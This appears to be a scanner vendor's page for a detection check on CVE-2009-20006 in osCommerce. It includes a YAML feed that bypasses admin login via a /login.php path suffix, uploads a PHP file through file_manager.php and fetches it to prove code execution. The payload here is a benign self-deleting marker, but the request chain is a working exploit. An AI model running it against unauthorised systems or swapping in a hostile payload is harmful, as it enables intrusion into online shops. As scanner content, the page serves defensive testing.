osCommerce — 1 vulnerability check
noctis ships 1 vulnerability check for osCommerce, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
osCommerce Online Merchant <= 2.2 RC2a file_manager.php Unauthenticated Arbitrary File Upload
| CVE | CVE-2009-20006 |
|---|---|
| Severity | critical · CVSS 9.3 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/oscommerce/CVE-2009-20006.yaml |
osCommerce Online Merchant up to 2.2 RC2a lets an unauthenticated attacker reach the admin file manager by appending /login.php to its URL (admin/file_manager.php/login.php), then write an arbitrary PHP file into the shop root with action=save. This check confirms the unauthenticated file manager, writes a self-deleting PHP file that prints NOCTIS<A*B> for random A and B, and fetches it: the computed product proves remote code execution.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{osc_dir}}/admin/file_manager.php/login.php - HTTP(S) request
POST {{osc_dir}}/admin/file_manager.php/login.php?action=savewith a crafted body - HTTP(S) request
GET {{osc_dir}}/{{osc.fname}} - Checks
fetch.bodyforNOCTIS\d+→ finding QoD 97: Unauthenticated file write + PHP execution: …/admin/file_manager.php/login.php?action=save wrote …/…, which rendered … (computed …*…) and d…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-20006
- https://www.exploit-db.com/exploits/9556
- https://www.vulncheck.com/advisories/oscommerce-arbitrary-php-code-execution
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/oscommerce_filemanager.rb
Feed source — tests/vulnerabilities/oscommerce/CVE-2009-20006.yaml
# CVE-2009-20006 — osCommerce Online Merchant <= 2.2 RC2a: unauthenticated
# arbitrary file write / PHP upload through admin/file_manager.php.
# Active detection ported from OpenVAS/Greenbone NASL 2010/gb_oscommerce_40456.nasl
# (GPL-2.0-only); request shape cross-checked with the Metasploit module
# exploits/unix/webapp/oscommerce_filemanager.rb.
#
# Root cause (osCommerce 2.2 RC2a source): admin/includes/application_top.php
# only skips its login redirect when basename($PHP_SELF) == 'login.php'.
# $PHP_SELF carries PATH_INFO, so /admin/file_manager.php/login.php runs the
# file manager without a session. Its `save` action then does
# fopen($current_path . '/' . basename($_POST['filename']), 'w+')
# fputs($fp, stripslashes($_POST['file_contents']))
# with $current_path = DIR_FS_DOCUMENT_ROOT (the catalog root) for a fresh
# session, and answers with a 302 to file_manager.php?info=<file>.
#
# Detection (benign, self-cleaning — project rule):
# 1. Gate (beyond the NASL): GET <dir>/admin/file_manager.php/login.php
# without following redirects. Only a 200 page that links back to
# file_manager.php (the file manager rendered unauthenticated) lets the
# upload run, so nothing is written on a non-osCommerce host or on a
# patched admin that redirects to login.php.
# 2. Upload: the NASL's POST, with a random file name and the content
# <?php echo 'NOCTIS'.(A*B); @unlink(__FILE__); ?>
# (random A, B per run). The script deletes itself on its first run.
# 3. Fetch <dir>/<file>: only real PHP execution renders NOCTIS<A*B>; the
# product never appears in the request. The NASL matched a literal string
# that is also present in the raw file source, so a server returning the
# uploaded file unexecuted was a false positive there.
#
# Base paths: the NASL uses the detected install dir. noctis has no app
# detection, so the feed loops over `/`, `/catalog` (Metasploit default and
# the stock tarball layout), `/oscommerce` and `/shop`, stopping at the first
# confirmed one.
uid: 02df961d-c284-4083-9a63-1bdcc0da4d4a
name: "osCommerce Online Merchant <= 2.2 RC2a file_manager.php Unauthenticated Arbitrary File Upload (CVE-2009-20006)"
description: |
osCommerce Online Merchant up to 2.2 RC2a lets an unauthenticated attacker
reach the admin file manager by appending /login.php to its URL
(admin/file_manager.php/login.php), then write an arbitrary PHP file into
the shop root with action=save. This check confirms the unauthenticated file
manager, writes a self-deleting PHP file that prints NOCTIS<A*B> for random
A and B, and fetches it: the computed product proves remote code execution.
cves: [CVE-2009-20006]
cvss: 9.3
severity: critical
confidence_base: 0.30
category: rce
tags:
- oscommerce
- file-upload
- rce
- intrusive
- openvas-migrated
services:
- http
- https
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-20006"
- "https://www.exploit-db.com/exploits/9556"
- "https://www.vulncheck.com/advisories/oscommerce-arbitrary-php-code-execution"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/oscommerce_filemanager.rb"
- "OpenVAS/Greenbone NASL 2010/gb_oscommerce_40456.nasl (GPL-2.0-only)"
steps:
# ── Per-run random file name and arithmetic operands ─────────────────────
- id: gen
action: script
code: |
let a = rand_int(1013, 9973);
let b = rand_int(1013, 9973);
#{
fname: "noctis" + rand_str(10) + ".php",
a: a,
b: b,
marker: "NOCTIS" + (a * b)
}
store_as: osc
# ── Every step below runs once per candidate base path (loop group).
# Pre-initialise the stored results: a failed request leaves store_as
# unset and a condition reading it would silently be false anyway, but the
# explicit defaults keep each iteration independent of the previous one.
- id: init-gate
action: set_var
var_name: gate
var_value: {status: 0, body: ""}
loop:
over: ["", "/catalog", "/oscommerce", "/shop"]
var: osc_dir
- id: init-fetch
action: set_var
var_name: fetch
var_value: {status: 0, body: ""}
# ── 1. Gate: file manager reachable without a session ────────────────────
- id: gate-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{osc_dir}}/admin/file_manager.php/login.php"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: gate
# ── 2. Upload the self-deleting PHP file (NASL request, benign content) ──
- id: upload
action: http_request
method: POST
port: "{{port}}"
path: "{{osc_dir}}/admin/file_manager.php/login.php?action=save"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "filename={{osc.fname}}&file_contents=%3C%3Fphp+echo+%27NOCTIS%27.%28{{osc.a}}%2A{{osc.b}}%29%3B+%40unlink%28__FILE__%29%3B+%3F%3E&submit=+++Save+++"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: upload_resp
condition: "gate.status == 200 && gate.body.contains(\"file_manager.php\")"
# ── 3. Fetch it: only executed PHP renders the computed product ──────────
- id: fetch-file
action: http_request
method: GET
port: "{{port}}"
path: "{{osc_dir}}/{{osc.fname}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: fetch
condition: "gate.status == 200 && gate.body.contains(\"file_manager.php\")"
- id: report
action: match
source: fetch.body
pattern: "NOCTIS\\d+"
condition: "fetch.status == 200 && fetch.body.contains(osc.marker)"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "Unauthenticated file write + PHP execution: {{osc_dir}}/admin/file_manager.php/login.php?action=save wrote {{osc_dir}}/{{osc.fname}}, which rendered {{osc.marker}} (computed {{osc.a}}*{{osc.b}}) and deleted itself (unlink(__FILE__))."
stop: true